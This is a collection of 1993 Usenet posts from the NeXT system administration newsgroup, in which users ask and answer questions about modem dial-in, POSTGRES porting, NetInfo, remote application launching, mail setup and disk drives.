your wish list... Any and all input is greatly appreciated. If you get a few minutes, think about this and email me your thoughts. I am especially interested in what Vendors/Platforms do this well and which ones don't...please give me your input. If you know of any good articles on the subject, please point me to them. Thanks! -- Pam Miller, Graduate Student, Social Work, UT at Austin rugger@ccwf.cc.utexas.edu
Newsgroups: comp.sys.next.sysadmin From: gerben@rna.indiv.nluug.nl Subject: Re: POSTGRES DBMS on NeXT (will be available) Message-ID: <1993Mar31.170925.12001@rna.indiv.nluug.nl> Sender: gerben@rna.indiv.nluug.nl (Gerben Wierda) Organization: G.R.O.S.S. References: <C4pvoC.FuJ@ns1.nodak.edu> Date: Wed, 31 Mar 1993 17:09:25 GMT In article <C4pvoC.FuJ@ns1.nodak.edu> goli@plains (Venkata Nagarjuna Rao Goli) writes: > > Hello Friends, > is there any body who installed POSTGRES database management > system on NeXT machines? I tried to install it on my NeXT but came to know > that POSTGRES needs shared memory and NeXT don't support that. Do you know > how to fix this problem. I have Release 2.0 on my NeXT. Please email me. > > My problem is that I need to write the following lines, to support > the shared memory for POSTGRES, in the /usr/sys/conf or kernel configuration > file to install POSTGRES. What do you suggest me to do?? > > In the POSTGRES manual they suggested to add these lines for a sun > sparc kernel configuration file. > > options IPCMESSAGE > options IPCSEMAPHORE > options IPCSHMEM > options EMOREIPCS > > These are all for the System V IPC ... facility. What are the comatibles > in NeXT??? > > Thanks in advance, > (GOLI) There is more than that. There are compiler issues. There is also dynamic loading to consider. We are currently working on it. Expect the result within a couple of weeks. (We were almost finished with porting postgres v3.0 when we discovered the release of postgres v4.1). --Gerben -- Gerben Wierda [NeRD:7539] Tel. (+31) 35 833539 "If you don't know where you are going, any road will take you there." From the Talmud(?), rephrased in Lewis Carroll, "Alice in Wonderland".
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin From: asd@mace.cc.purdue.edu (Doug McClure) Subject: Looking for help using UUCP (and setting up) Message-ID: <asd.733603291@mace.cc.purdue.edu> Sender: news@mentor.cc.purdue.edu (USENET News) Organization: Purdue University Date: Wed, 31 Mar 1993 18:41:31 GMT I'm going to be setting up a UUCP connection for my machine this week. I have the NeXT documentation on it, but I'm wondering if there is some better docs on it out there. I've heard enough horror stories about trying to get UUCP set-up. Is there any NeXT utilites for dealing with UUCP stuff? Please mail me back by Firday morning. This account goes away Friday evening. Thanks! -dsm
Newsgroups: comp.sys.next.sysadmin From: flog@open.ch (Florian Gutzwiller) Subject: FAQ? Who compiled pcnfsd2 ? Message-ID: <1993Apr1.002812.23056@bernina.ethz.ch> Sender: news@bernina.ethz.ch (USENET News System) Organization: Swiss Federal Institute of Technology (ETH), Zurich, CH Date: Thu, 1 Apr 1993 00:28:12 GMT Can anbody comment on pcnfsd2 for NeXTSTEP3.0? Thanks -- Florian Gutzwiller Tel: +41 61 262 05 10, Fax: +41 61 262 05 10 Open Systems AG flog@Open.CH Basel, Switzerland S=gutzwiller;O=open;P=EUnet=A=EUnet;C=CH
From: upbundal@uxa.ecn.bgu.edu (Pred Bundalo) Newsgroups: comp.sys.next.sysadmin Subject: SOLVED: Dial-in, Supra V.32bis, RTS/CTS. Date: 1 Apr 1993 02:12:53 -0600 Organization: Educational Computing Network Distribution: world Message-ID: <1pe865$f5b@uxa.ecn.bgu.edu> References: <1pbi7u$ig0@uxa.ecn.bgu.edu> >I recently bought a used NeXTstation for home use. I need to set it up >for dial-in access at variable speeds from 2400bps up through the >maximum that the '040 box will handle. This is 38400bps from what I >gather. First, many thanks to everyone who spent the time to help me out. Special thanks to my fellow Supra owner Bill Thorson who sent me all of his config files. The problem was in the /etc/gettytab file. NeXT ships their computers to default to 7 data bits, even parity, and 1 stop bit. All I had to do (after all those hours of tinkering: grrrr) was change the default to 8N1. Note, the important part is to set 8 data bits. I had tried setting the parity to none before posting my original message and, obviously, it wasn't enough. It was the combination (and a total of 10 bits being sent) that made it all work. For any, and all, that are having problems with dial in, change/make sure your /etc/gettytab file has this for the default (template) case: default:\ :p8:zp:ap:im=\r\n\r\n\r\n\r\nNeXT Mach (%h) (%t)\r\r\n\r:\ :er=\177:kl=^U:in=^C:lm=\r\nlogin\72 :sp#9600: The "p8" says to use 8 data bits, and the "zp" means "zero parity". You need both of these. To anyone else having trouble with this, feel free to send me mail. I've become an authority on the subject. Cheers and best regards, Pred Bundalo Illinois Institute of Technology (pred@iitmax.acc.iit.edu)
Newsgroups: comp.sys.next.sysadmin From: phy070@aixrs0.hrz.uni-essen.de (H.-R. Oberhage) Subject: Init-file console login Summary: What is the console login initialization file, if any? Sender: newsadm@aixrs0.hrz.uni-essen.de Message-ID: <1993Apr01.081626.29969@aixrs0.hrz.uni-essen.de> Date: Thu, 01 Apr 1993 08:16:26 GMT Organization: Uni-Essen Keywords: shell console .login .cshrc .profile Hello, sorry if the answer to the following problem is in the NeXTstep documents, but we didn't find it: On every conventional UNIX-machine, an initialization file is executed on login for the user(!) depending on the shell being .profile, .login (.cshrc), kshrc and the like in the users $HOME-directory. This is also true, when logging into a NeXTstation (NS v.3.0 but I think it's version independent) via telnet, rlogin and the like. However, none of these user init files seems to get executed when you are logging on at the console. Now we want to have some user-specific environ- ment variables set (e.g.), especially TEX...-variables to have TEX search user-directories too after launching TeXview by clicking on the symbols or using 'services'. How can this be done? Is there a special .whatever-file to do it? What is its name? Or should the conventional files (see above) work, then something seems broken for us! (This could very well be, as we are using NIS and netstat (e.g.) makes the machine hang as soon as you try a netstat -f inet (e.g.) on a machine running NIS, whereas it works fine without (under netinfo).) Anyway, an answer or even better an explanation would be welcome. Thanks, Ruediger Oberhage E-Mail: phy070@vm.hrz.uni-essen.de or phy070@aixrs0.hrz.uni-essen.de
From: zazula@soliton.physics.arizona.edu (Ralph Zazula) Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin Subject: PageChain (Re: better FAX support) Message-ID: <1993Mar30.233808.28314@galileo.physics.arizona.edu> Date: 30 Mar 93 23:38:08 GMT References: <1p7jlsINNbrd@disc.coactive.com> Sender: z@pri.com (Ralph Zazula) Organization: Pinnacle Research, Inc. In article <1p7jlsINNbrd@disc.coactive.com> dan@coactive.com (dan hennage) writes: > >Does anyone know of software for better FAX support. Specifically I'd like to >be able to: >1) Combine multiple documents from a single application or from multiple >applications into a single FAX. >2) Save FAXes (or portions of FAXes) in Encapsulated PostScript files. > Well, we can definitely help with #1 above. Our "PageChain" application allows you to combine multiple files to create a composite PostScript document that can be printed or FAXed. You can "chain together" RTFD, RTF, ASCII, TIFF, FAX and PS files. If you'd like more info on PageChain, or would like a demo, please drop a note to "pagechain@pri.com". NOTE: do not reply to the "soliton" address in this message, I won't see your wonderful mail... Please send to "zazula@pri.com" instead. Ralph --- Ralph Zazula Pinnacle Research, Inc. zazula@pri.com (602)529-1135
Newsgroups: comp.sys.next.sysadmin From: alberto@parsec.mixcom.com (Alberto Ricart) Subject: !@#$#$% Recursive NFS paths on main machines Message-ID: <1993Mar31.225106.862@parsec.mixcom.com> Organization: SmartSoft, Inc. Date: Wed, 31 Mar 1993 22:51:06 GMT Netland, We have a small net, one machine exports home dir., etc. The machine is not a dedicated server, and when used, the Net directory, recursively mounts the machine and a slew of other directories. While this is fine, the home directories are mounted on /Net/machine/userHome, I would rather see a less cluttered path. Is there a way of only showing the exported directories, just like they show on clients? -- Manuel Alberto Ricart alberto@parsec.mixcom.com <NeXTMail Welcome>
Newsgroups: comp.sys.next.sysadmin From: pom@anke.imsd.uni-mainz.DE (Prof. Dr. Klaus Pommerening) Subject: Problems with window server (-NXHost) Message-ID: <4A6BBKEX@minnie.zdv.uni-mainz.de> Keywords: window server, remote execution, NXHost Sender: usenet@minnie.zdv.uni-mainz.de (USENET News System) Organization: Johannes Gutenberg Universitaet Mainz Date: Thu, 1 Apr 1993 10:50:21 GMT Recently I tried the `Remote Application Execution' as described in the `Network and System Administration' manual (NextStep 2.1). It worked well with some applications. But I found two non-working cases: 1. The application is an app-wrapper. Example: next2> Molecule.app -NXHost next4 /NextDeveloper/Demos/Molecule.app: Permission denied. 2. The remote host is a NextStep 3.0 system: next3> MonsterScope -NXHost next4 DPS client library error: PostScript program error, DPSContext 56214 %%[ Error: invalidid; OffendingCommand: nextimage ]%% An uncaught exception was raised DPS client library error: PostScript program error, DPSContext 56214 %%[ Error: invalidid; OffendingCommand: setowner ]%% next3> ImageViewer -NXHost next4 DPS client library error: PostScript program error, DPSContext 32214 %%[ Error: invalidid; OffendingCommand: currentwindowbounds ]%% An uncaught exception was raised DPS client library error: PostScript program error, DPSContext 32214 %%[ Error: invalidid; OffendingCommand: currentwindowbounds ]%% Can somebody explain what's wrong or give me some useful advice? (Yes, I know setting the public window server is a security risk.) -- Klaus Pommerening Institut fuer Medizinische Statistik und Dokumentation der Johannes-Gutenberg-Universitaet Obere Zahlbacher Strasse 69, W-6500 Mainz, Germany
From: karthy@dannug.dk (Karsten Thygesen) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software Subject: SLIP or PPP - which one to chose? Message-ID: <KARTHY.93Mar28215339@dannug.dannug.dk> Date: 28 Mar 93 20:53:39 GMT Sender: karthy@dannug.dk (Karsten Thygesen) Distribution: comp Organization: Dannug - Danish NeXT Users Group Hi We, at the Danish NeXT User Group, are going to use either SLIP or PPP for our internal transfer of both news and mail. In (hopefully) short time we will be able to get a permanent connection to the InterNet via either SLIP or PPP. The connection will be between my NeXT and a Sun work station running on an ordinary phone line. Which package should we chose to our upcomming network? We have investigated Transsys slip package, but we won't be able to run that package at the Sun side, and several people I talk to recommends PPP between Suns. I need some practical experience and information about which packages to look into and which ones to stay away from. Thanks in advance, Karsten. -- Karsten Thygesen I Aalborg, Denmark karthy@dannug.dk (NeXT-Mail welcome) I Voice: +45 98 12 42 59 President, Danish NeXT Users Group I Fax: +45 98 12 44 81
Newsgroups: comp.sys.next.sysadmin,comp.mail.sendmail From: wampner@acme.ucf.edu (Eric Wampner) Subject: SMail and NeXT 2.1 Message-ID: <1993Apr1.143233.29809@cs.ucf.edu> Summary: help find solution Sender: news@cs.ucf.edu (News system) Organization: IST, University of Central Florida, Orlando Date: Thu, 1 Apr 1993 14:32:33 GMT I downloaded and compiled the SMail 3.1.25 that I found on, (I think) sonata.cc.purdue.edu. It may have not been that site, but it was a NeXT specific file area. I figured that this one would have been (possibly) slightly modified to do something NeXT-ish, like consult NextInfo rather than NIS/YP First, am I right? Or can I get the latest binary with that someone has already integrated NeXT code into? Second: I have a strange problem that it intermittently stops taking mail with sendmail running in the daemon mode (-bd -q1h). It won't recognize any user names, although aliases and uucp routing past the machine do work. It works fine for days on end, and then I have to reboot to get it to work again. I really like its configuration over sendmail, and would hate to have to go back, but this machine isn't mine, and mail is an important function. Please email any suggestions to Eric Wampner wampner@acme.ucf.edu (NeXT mail accepted) wampner@cs.ucf.edu
From: daugher@cs.tamu.edu(Walter C. Daugherity) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc Subject: New 'whois' server Date: 1 Apr 1993 17:34:20 GMT Organization: Texas A&M University, College Station, TX Distribution: world Message-ID: <1pf92sINNa5u@tamsun.tamu.edu> Keywords: whois The 'whois' command points to an obsolete server. Effective today, April 1, 1993, it should point to whois.internic.net. Until NeXT fixes this, a workaround is to put alias whois 'whois -h whois.internic.net' in your .cshrc file. P.S. This is not an April Fool's joke! Try 'whois tamu.edu'. -- Walter C. Daugherity Internet, NeXTmail: daugher@cs.tamu.edu Texas A & M University uucp: uunet!cs.tamu.edu!daugher College Station, TX 77843-3112 BITNET: DAUGHER@TAMVENUS ---Not an official document of Texas A&M---
From: A4422DAE@vm.univie.ac.at (Konrad Neuwirth) Newsgroups: comp.sys.next.sysadmin Subject: HELP! Machine won't display loginwindow! Date: Thu, 01 Apr 93 20:22:50 MEZ Organization: University of Vienna Message-ID: <16BA311E9A.A4422DAE@vm.univie.ac.at> This iM,?tQ}rgent call for help. I have the following problem with my NeXTcube: A few days ago, my 1.5 gigabyte harddisk crashed, taking some parts of the operating system with it (/NextApps and /NextLibrary to be specific, along with /LocalApps and /LocalLibrary). All the other parts of the operating system still reside on another 350meg disk that is internal. Of course, as those things always happen, my backup device is also gone for repairs right now, so I have no means of getting to my last few tapes. Anyway, I installed another Maxtor 660meg drive I pulled of one of the other machines around here and formatted it. I installed it and copied the /Next directories right off the CDROM to the new disk. But now, everytime I boot the machine, I hit major problems. All the configuration happens OK and all the daemons come up, the machine is completely accessible from the outside (with NFS, telnet and ftp). But I get no login window on the console. Inspection of the /etc/messages files reveals about 1200 messages complaining that _NXAudioOut, _NXAudioIn, and Sound services have already registered. I tried to scan all the documentation I have (of course, I can't read the digital librarian info right now because I can't access digital librarian because I can't log on to the NeXTSTEP interface), but I found no pointers to where that registration happens. Things get more cryptic further down. The root entries for /NextApps, /NextLibrary, /LocalApps, and /LocalLibrary are in fact symbolic links to directories of the same name on the disk /ext. When I mount the CD ROM as the /ext disk, the system boots up all right, although the time, date and other system settings are not correct. When I mount the external disk as /ext (and it is supposed to contain a 1:1 copy of the directories on the cd), the system does not boot and continues to complain about the three services. Next, I reinstalled Nextstep 3.0 and tried again -- with the same result, the machine never showed a logon window and i lost my working netinfo database (of course, I do have a backup copy somewhere -- on tape). Then, I scanned all directories for services entries, killing the things in /.NeXT, but that changed nothing either. I am rather desperate. Sam Goldberger, who I baught the machine with, couldn't help me either, and I need the cube to get some work done! Please, can anybody tell me what the problem is? I'd like to be able to get some work done again! thanks, //konrad who is rather desperate. really.
Newsgroups: comp.sys.next.sysadmin From: jland@lodge.nwu.edu (John Landwehr) Subject: Re: SLIP or PPP - which one to chose? Message-ID: <1993Apr1.184948.3556@news.acns.nwu.edu> Sender: usenet@news.acns.nwu.edu (Usenet on news.acns) Organization: Northwestern University, Evanston, Illinois, USA References: <KARTHY.93Mar28215339@dannug.dannug.dk> Distribution: comp Date: Thu, 1 Apr 1993 18:49:48 GMT In article <KARTHY.93Mar28215339@dannug.dannug.dk> karthy@dannug.dk (Karsten Thygesen) writes: > > Which package should we chose to our upcomming network? > > I need some practical experience and information about which packages > to look into and which ones to stay away from. > -- > Karsten Thygesen I Aalborg, Denmark > karthy@dannug.dk (NeXT-Mail welcome) I Voice: +45 98 12 42 59 > President, Danish NeXT Users Group I Fax: +45 98 12 44 81 Check out the paper I wrote on SLIP and PPP. It is at the archive sites as SLIP_PPP_Paper.ps or something very similar. I know it is at sonata.cc.purdue.edu and cs.orst.edu. Check the documents directories. Also, there is an article in the NeXT Support Bulletin comparing the two, as well as an article I wrote in the Summer 92 issue called "Taking your network home..." -- John Landwehr NeXT Campus Consultant, Chicago 708-864-7811 jland@nwu.edu
Newsgroups: comp.sys.next.sysadmin From: "Steve Hayman" <sahayman@cs.indiana.edu> Subject: Re: Problems with window server (-NXHost) Message-ID: <1993Apr1.154456.3899@news.cs.indiana.edu> Keywords: window server, remote execution, NXHost Organization: Objectario References: <4A6BBKEX@minnie.zdv.uni-mainz.de> Date: Thu, 1 Apr 1993 15:44:43 -0500 You might be interested to know that the NS/Intel beta release come with an unsupported program called "OpenSesame", which facilitates this -NXHost remote-launch-but-local-display stuff. What you do is select an application (or file) in the File Viewer, and go to Services -> OpenSesame -> Open on Another Host. OpenSesame will prompt you for a remote host and will take care of doing "rsh remote-host /Appropriate/Application -NXHost thishost" for you. Handy if you work on a 486 with no interesting apps on it, and a NeXTstation full of interesting stuff. OpenSesame can also open things as root - handy for installing a .pkg without having to log off and on again. I hope it will be included in the real Intel release, and with 3.1 for Motorola machines too. (note that the app on the beta floppy is actually a fat binary and works as is on 3.0 NeXTs but you have to do a small service hack to get the Open as Root service to work right in 3.0.) (Disclaimer: I'm plugging this because I'm biased, I wrote the first version of OpenSesame.) Regards, Steve shayman%objectar@uunet.ca
Newsgroups: comp.sys.next.sysadmin From: ried@northstar.com (A Ried Thiel) Subject: fax Cover Sheet Message-ID: <C4tKE8.DxK@northstar.com> Sender: usenet@northstar.com (usenet) Organization: NorthStar Technologies, Inc. Distribution: usa Date: Thu, 1 Apr 1993 19:20:31 GMT Hello I am trying to modify the Cover sheet for faxes. I would like to know if there is any documentation. I know how to basic things but I would like to create a new form so that the phone number of the person I am calling is automatically put on the cover sheet. Is this possible? If so how? Also I would like to format the date into a more standard format. Is this possible? Thanks --- Ried Thiel NeXTMail ried@northstar.com NorthStar Technologies, Inc. 15 Maiden Lane Suite 803 New York NY 10038 212-267-4100 X-160
From: shuque@fire.sas.upenn.edu (Shumon Huque) Newsgroups: comp.sys.next.sysadmin Subject: mach_init problem Message-ID: <117521@netnews.upenn.edu> Date: 2 Apr 93 00:47:42 GMT Sender: news@netnews.upenn.edu Organization: University of Pennsylvania We've been having a problem on our Netinfo server lately. Whenever we try rebooting, we periodically get strange errors from mach_init and it prevents me from starting any processes. I can login in to the console, but I can start no new applications. The console spits out messages: expr: invalid port(-102) expr: invalid argument(4) whenever I try to run a new process. Looking at /usr/adm/messages I find these error messages: Apr 1 15:22:04 myserver syslog: Workspace logged in Apr 1 15:23:21 myserver mach_init[2]: msg_send: invalid port(-102) I have no idea what is causing this, and I don't know how mach_init works, so I am at a loss. It appears to completely disappear on the 2nd or 3rd reboot and everything works fine from then on until the next time we have to reboot. (the server remains up for a long time and only needs rebooting when we have a swap file overflow or an excessive accumulation of those annoying mach-tasks!) Can anyone tell me what the problem might be? Thanks, Shumon Huque shuque@spectre.sas.upenn.edu
Newsgroups: comp.sys.next.sysadmin From: pom@anke.imsd.uni-mainz.DE (Prof. Dr. Klaus Pommerening) Subject: SUMMARY: Problems with window server (-NXHost) Message-ID: <WF7BB7ZC@minnie.zdv.uni-mainz.de> Sender: usenet@minnie.zdv.uni-mainz.de (USENET News System) Organization: Johannes Gutenberg Universitaet Mainz References: <4A6BBKEX@minnie.zdv.uni-mainz.de> Date: Fri, 2 Apr 1993 11:19:52 GMT In article <4A6BBKEX@minnie.zdv.uni-mainz.de> pom@anke.imsd.uni-mainz.DE (Prof. Dr. Klaus Pommerening) writes: > Recently I tried the `Remote Application Execution' as described in the > `Network and System Administration' manual (NextStep 2.1). It worked well with > some applications. But I found two non-working cases: > > 1. The application is an app-wrapper. Example: > > 2. The remote host is a NextStep 3.0 system: > I got three answers; thanks mheubi@pws3.itr.ch (Matthias Heubi), "Steve Hayman" <sahayman@cs.indiana.edu>, BOBCOOK@slac.stanford.edu Solution to problem 1: Go into the app-wrapper and call the executable directly, example: /NextDeveloper/Demos/Molecule.app/Molecule -NXHost next4 Solution to Problem 2: Upgrade the calling host (next4) to NextStep 3.0. There seems to be no simpler solution. -- Klaus Pommerening Institut fuer Medizinische Statistik und Dokumentation der Johannes-Gutenberg-Universitaet Obere Zahlbacher Strasse 69, W-6500 Mainz, Germany
From: mb108@cs.city.ac.uk (omo Adelakun Toyin K) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc Subject: File transfer: Unix to/from NeXT Date: 2 Apr 1993 20:01:15 +0100 Organization: Computer Science Dept, City University, London Distribution: world Message-ID: <1pi2hrINNqt9@fred.cs.city.ac.uk> What's the best means of transferring files between a non-networked pair of systems: a NeXT system and another Un*x box, say an IBM RS/6000? I've tried tar'ing files to diskette, and the NeXTStation doesn't wanna know! ("invalid device" or "can't open device" - paraphrased.) I'll deeply appreciate any pointers - especially as the FAQs do not seem to cover this aspect of interoperability. Thanx++, Toyin.
Newsgroups: comp.sys.next.sysadmin From: zettler@opal.risc.uni-linz.ac.at (Peter Zettler) Subject: mail & nfs Message-ID: <1993Apr2.090841.21077@alijku05.edvz.uni-linz.ac.at> Keywords: reply path, importing fs Sender: news@alijku05.edvz.uni-linz.ac.at Organization: UNI-LINZ Date: Fri, 2 Apr 1993 09:08:41 GMT Hello NeXT gurus, maybe you can help me. At least I hope so. We have a small NeXT LAN (11 NeXTs) connected to the internet. Our netinfo server is also our mail spool server. We exported the root directory from the server and import it on any other NeXT. Unknow users are treated as nobody(-2). Now the problem. We always get an NFS write error 13 when we send Email. Does anybody know why? Then we are using a list server for distriuting email to groups. If we use the reply (Reply all) option in the send window we will get always the originator instead of the from field of the sender. Does anybode know it this is a bug, or how to solve this problem? Thanks in advance, Peter Zettler
From: kwang@data.acs.calpoly.edu (Kevin John Wang) Newsgroups: comp.sys.next.sysadmin Subject: NetInfo.help.help.help! Keywords: netinfo, multiple domains, root password. Message-ID: <1993Apr03.014012.169144@zeus.calpoly.edu> Date: 3 Apr 93 01:40:12 GMT Sender: news@zeus.calpoly.edu Followup-To: root@data.acs.calpoly.edu Organization: Cal Poly State University, San Luis Obispo HELP! Our netinfo domain looks like: / /data (the cluster) /data/machine_name_here Unfortunately, I've screwed up the root password by copying root's user folder from /data/data to /data, and now I can no longer change anything in either the / or the /data domains. does anyone know how to override the password? I was able to delete root's account in /data, but then the password in / is used. Because I can't change anything, I can't add users to our cluster, and, and, and, and... - kevin Wang PLEASE email replies immediately!
Newsgroups: comp.sys.next.sysadmin From: tmurdoch@liberty.uc.wlu.edu (Tim Murdoch) Subject: login mystery Message-ID: <1993Apr3.165914.12598@liberty.uc.wlu.edu> Date: Sat, 3 Apr 1993 16:59:14 GMT Distribution: local, world Organization: Washington & Lee University Here is a mysterious problem. A user on our network cannot log in to his account. When he tries, the backgound to the workspace appears, but then he is immediately logged out (no dock, no nuthin'). We've looked at the usual files in his home directory (which is visible to other network users). None of the standard files appear to be corrupt nor do any of the set variables in the default database. We're stumped. Any suggestions would be greatly appreciated. Please respond by email to murdoch@sage.wlu.edu Thanks in advance. -- Tim Murdoch Assistant Prof. of Math e-mail: tmurdoch@liberty.wlu.edu Washington and Lee Univ. phone: (703) 463-5045 Lexington VA 24450
Newsgroups: comp.sys.next.sysadmin From: tabs@netcom.com (Network Account) Subject: Help - printer down under 3.0 Message-ID: <tabsC4x6qJ.K7p@netcom.com> Organization: NETCOM On-line Communication Services (408 241-9760 guest) Distribution: na Date: Sat, 3 Apr 1993 18:15:54 GMT Return-Path: <tabs@netcom.com> Hi folks: I have a '040 cube which I recently upgraded to run Next Step 3.0. But my NeXT printer has stopped working and a panel comes up saying: "Some or all of the pages in your print request couldn't be printed" I have used both enscript and lpr and observed the same symptom. I looked at the /usr/adm/lpd-errs saw the following error messages: Apr 1 09:05:37 next1 Server:Local_Printer[230]: Driver class not set in printer entry Somehow, the entry must have gotten deleted (I think). How can I set the driver class? Please email your suggestions. Thanks a lot in advance. tabs (tabs@netcom.com)
Control: cancel <1993Apr3.165914.12598@liberty.uc.wlu.edu> Newsgroups: comp.sys.next.sysadmin From: tmurdoch@liberty.uc.wlu.edu (Tim Murdoch) Subject: cancel <1993Apr3.165914.12598@liberty.uc.wlu.edu> Message-ID: <1993Apr3.184021.19544@liberty.uc.wlu.edu> Date: Sat, 3 Apr 1993 18:40:21 GMT Distribution: local, world Organization: Washington & Lee University Article cancelled from within tin [v1.1 PL8] -- Tim Murdoch Assistant Prof. of Math e-mail: tmurdoch@liberty.wlu.edu Washington and Lee Univ. phone: (703) 463-5045 Lexington VA 24450
From: bryan@kolsky.tamu.edu (Bryan Milligan) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc Subject: How do I sort incoming mail into different mailboxes? Date: 3 Apr 1993 22:01:03 GMT Organization: Texas A&M University, College Station, TX Distribution: world Message-ID: <1pl1evINN6kq@tamsun.tamu.edu> Keywords: mail, mailboxes I would like to be able to sort my incoming mail into different mailboxes. Specifically, all the mail addressed to a mailing list of which I am a part needs to go to a different box. Is this possible? If so, how do I accomplish this task? Thanks in advance. -- Bryan Milligan Voice: (409) 845-7541 Department of Aerospace Engineering Fax: (409) 845-6051 Texas A&M University bryan@kolsky.tamu.edu (NeXT Mail accepted)
From: heading@signal.dra.hmg.gb (Anthony J.R. Heading) Newsgroups: comp.sys.next.sysadmin Subject: compiling perl - a hint Message-ID: <1pl9guINNb2c@milne.dra.hmg.gb> Date: 4 Apr 93 00:18:38 GMT Organization: Defence Research Agency I've just built perl, and it does a number of things wrongly because the Configure script doesn't find stdio.h in /usr/include/ansi. The solution I reached is to create a new directory /usr/include/flatbsd with links to all the files in both /usr/include/bsd, and /usr/include/ansi, and then tell Configure to use this directory. The most obvious improvement is that -T and -B on filehandles then work, so the makewhatis script accompying the perl man reader doesn't bomb out. Not a terribly profound piece of diagnostics, I know, but it might save a few people an hour or so... Anthony
Newsgroups: comp.sys.next.sysadmin From: gemoe@proximus.north.de (Gerhard Moeller) Subject: Again: Which CD-ROM drive to recommend Sender: gemoe@proximus.north.de Organization: Gerhard Moeller, German NeXT User Group, Oldenburg. Date: Sat, 3 Apr 1993 06:55:19 GMT Message-ID: <1993Apr3.065519.3406@proximus.north.de> Hi Netter, again, I ask the community about their experiences with CD ROM drives. I once tried to start such a thread, but it seems that none answered. I will collect all email to me and post a summary of CD ROMS working with the NeXT. Please include the brand, speed (access and transfer rates, cache) price and your overall "feeling" of the drive. (i.e. would you buy it again?) The list so far: (Not that great response, btw... ;-) ) * Toshiba XM3401 - (200ms, 330KB, 256KB cache) price: ??? works well with the NeXT, supports all standards. (You need a XA-driver) Thank you very much, Gerhard. -- +---------------------------< principiis obsta! >---------------------------+ N Gerhard Moeller, Teichstrasse 12, 2900 Oldenburg (FRG) [*: 02/21/1968] N e Private: gemoe@proximus.north.de Phone (voice): +49-441-75520 e X Uni: Gerhard.Moeller@arbi.Informatik.Uni-Oldenburg.DE NeXTmail X T Z-Net: Gerhard.Moeller@uniol.zer encouraged! T +-> NoGeNUG - Northern German NeXT User Group: NoGeNUG@proximus.north.DE <-+
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin From: foxm@rintintin.Colorado.EDU (Mike Fox) Subject: Quantum drive woes Message-ID: <1993Apr4.214209.23632@ucsu.Colorado.EDU> Keywords: Quantum disk Sender: news@ucsu.Colorado.EDU (USENET News System) Organization: University of Colorado, Boulder Date: Sun, 4 Apr 1993 21:42:09 GMT I'm trying to install a QUANTUM ELS170S in my system. When I format the disk, the format (disk -d .5 -F /dev/rsd1a) completes successfully. However, when I try to initialize the disk, via disk or when I log in, I get the following errors: /usr/etc/disk -i -h bagheera -l "Disk" /dev/rsd1a disk name: QUANTUM ELS170S disk type: fixed_rw_scsi writing disk label sd1: Incomplete disk transfer; bytes moved = 0x1e00, resid=0x1c48, retry 1 . . . retry 9 sd1: Incomplete disk transfer - FATAL sd1: Incomplete disk transfer; bytes moved = 0x1e00, resid = 0x248, retry 1 sd1: Incomplete disk transfer; bytes moved = 0x1e00, resid = 0x248, retry 1 sd1: Incomplete disk transfer; bytes moved = 0x1e00, resid = 0x248, retry 1 creating new filesystem on /dev/rsd1a /usr/etc/newfs -n -v /dev/rsd1a /etc/mkfs /dev/rsd1a 166808 32 4 8192 1024 16 10 60 4096 t sd1: Incomplete disk transfer; bytes moved = 0x400, resid = 0x400, retry 1 . . . retry 9 sd1: Incomplete disk transfer - FATAL write error: 166807 wtfs: I/O error /usr/etc/newfs /dev/rsd1a failed (status 1) I do not have the specifications for the disk other than the following (via Rory Bolt's SCSI Formatter): QUANTUM ELS170S Blocksize 512 bytes/block Revision 3.0606/16/92 166220460332 Capacity 166968 Kbytes ANSI version 2 My system: NeXT 040 Cube ROM ver.2.5 66 Has anybody gotten this disk, or this family of disks, working with a NeXT? What do the errors signify? Mike
Newsgroups: comp.sys.next.sysadmin Subject: Re: fax Cover Sheet Message-ID: <1993Apr5.091438.15591@urz.unibas.ch> From: frank@ifi.unibas.ch (Robert Frank) Date: Mon, 5 Apr 1993 09:14:38 GMT Sender: news@urz.unibas.ch (USENET News System) References: <C4tKE8.DxK@northstar.com> Distribution: usa Organization: Institut fuer Informatik In article <C4tKE8.DxK@northstar.com> writes: > Hello > > I am trying to modify the Cover sheet for faxes. I would like to know if > there is any documentation. I know how to basic things but I would like > to create a new form so that the phone number of the person I am calling > is automatically put on the cover sheet. > > Is this possible? If so how? Also I would like to format the date into a > more standard format. Is this possible? > > Thanks > --- > Ried Thiel NeXTMail ried@northstar.com > NorthStar Technologies, Inc. > 15 Maiden Lane Suite 803 > New York NY 10038 212-267-4100 X-160 I, too, would like to know how to set a different date format. The default really sucks. -- Robert Frank tel. + (061) 321 99 67 Institut fuer Informatik fax + (061) 321 99 15 University of Basel, Switzerland Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail accepted) CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch ( if all fails try frank@urz.unibas.ch )
Newsgroups: comp.sys.next.sysadmin From: griz.hacker.net!keith (Keith Hollister) Subject: where's nslookup? Message-ID: <1993Apr5.111811.1215@griz.uucp> Sender: keith@griz.uucp Organization: Ursa Systems Date: Mon, 5 Apr 1993 11:18:11 GMT Hi, Can someone point me to either a compiled version of nslookup for a NeXT, or the source to same? Thanks Keith Hollister uunet!griz!keith (NeXT mail) ----or--- keith@wombat.orl.mmc.com (ASCII mail)
Newsgroups: comp.sys.next.sysadmin From: anderson@macc.wisc.edu (Jess Anderson) Subject: Re: where's nslookup? Message-ID: <1993Apr5.134840.18483@macc.wisc.edu> Sender: news@macc.wisc.edu (USENET News System) Organization: Madison Academic Computing Center, UW-Madison References: <1993Apr5.111811.1215@griz.uucp> Date: Mon, 5 Apr 93 13:48:40 GMT In article <1993Apr5.111811.1215@griz.uucp> griz.hacker.net!keith (Keith Hollister) writes: >Can someone point me to either a compiled version of nslookup for a NeXT, >or the source to same? Thanks /usr/etc/nslookup -- [Jess Anderson <> Division of Information Technology, University of Wisconsin] [Internet: anderson@macc.wisc.edu <-best, UUCP:{}!uwvax!macc.wisc.edu!anderson] [Room 3130 <> 1210 West Dayton Street / Madison WI 53706 <> Phone 608/262-5888] [---------> Discrimination, Bigotry, and Hate are not Family Values <---------]
